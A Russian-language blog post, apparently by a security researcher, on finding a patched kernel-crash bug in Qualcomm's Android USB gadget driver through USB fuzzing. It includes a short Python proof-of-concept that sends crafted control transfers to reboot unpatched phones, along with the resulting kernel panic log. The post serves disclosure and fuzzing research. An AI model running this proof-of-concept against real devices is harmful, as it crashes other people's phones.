
Фаззинг USB-устройств на Android-телефоне
Этот пост в блоге о простой ошибке, которую я нашёл в своём Android-устройстве (MI A2 — работает на стоковом Android) с помощью фаззинга USB-устройств, и Google пометил её как ошибку высокой степени серьёзности. Ошибка была в USB-драйвере Qualcomm, который позже исправили и раскрыли в мартовском бюллетене Android 2020 года. Что касается уязвимости: когда вы отправляете специально сформированные USB-запросы на Android-телефон, это приводит к краху ядра Android, и ваш телефон перезагружается.
Эта ошибка была вызвана неинициализированной переменной, используемой в USB-гаджете "core.c". Подробности об уязвимости можно найти в приведённом ниже бюллетене безопасности Qualcomm и мартовском бюллетене Android 2020 года.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
Android-телефоны поддерживают как режим устройства, так и режим хоста. В режиме устройства вы можете подключить мобильное устройство к ПК с помощью USB-кабеля и обмениваться изображениями и музыкой с телефона на ПК в различных режимах USB-подключения (например, только зарядка, MTP). В режиме хоста вы можете подключить гарнитуру или флешку с помощью OTG-кабеля, где ваши устройства выступают в роли клиентов, а ваш Android-телефон — в роли хоста.
Уязвимость была найдена простой рандомизацией параметров управления USB, таких как bmRequestType, bRequest, wValue (bDescriptortype:DescriptorIndex), wIndex и wLength, и отправкой их на Android-устройство. При отправке последовательности управляющих запросов с Linux-хоста на Android (как показано в скрипте ниже) драйвер USB-устройства в телефоне разбирает их и вызывает панику ядра.
Вы можете посмотреть приведённое ниже видео, чтобы понять обзор USB и фаззинг от Андрея Коновалова на Offensive-con 2019, а также основы протокола USB: USB 101: Введение в Universal Serial Bus 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
Затронутые чипсеты: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Шаги для воспроизведения этой уязвимости, если вы не обновили свой телефон мартовским патчем Android 2020 года.
Если вы увидите, что ваш телефон перезагружается, значит, вы эксплуатировали эту ошибку. После перезагрузки вы можете проверить журналы ядра на наличие приведённых ниже сообщений с помощью logcat или bugreport.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
Кроме того, журналы падения не объясняют причину падения. Поэтому я планирую добавить KASAN в сборку на моём новом Pixel и улучшить фаззинг устройств с помощью правильных методов инструментирования, таких как мониторинг журналов на предмет сбоев во время фаззинга. Кроме того, libusb не позволяет отправлять большие управляющие запросы, и в большинстве случаев они обрезаются. Поэтому я планирую попробовать пример Кейт Темкин (fusee_gelee) с использованием ioctl для отправки команд напрямую USB-драйверу.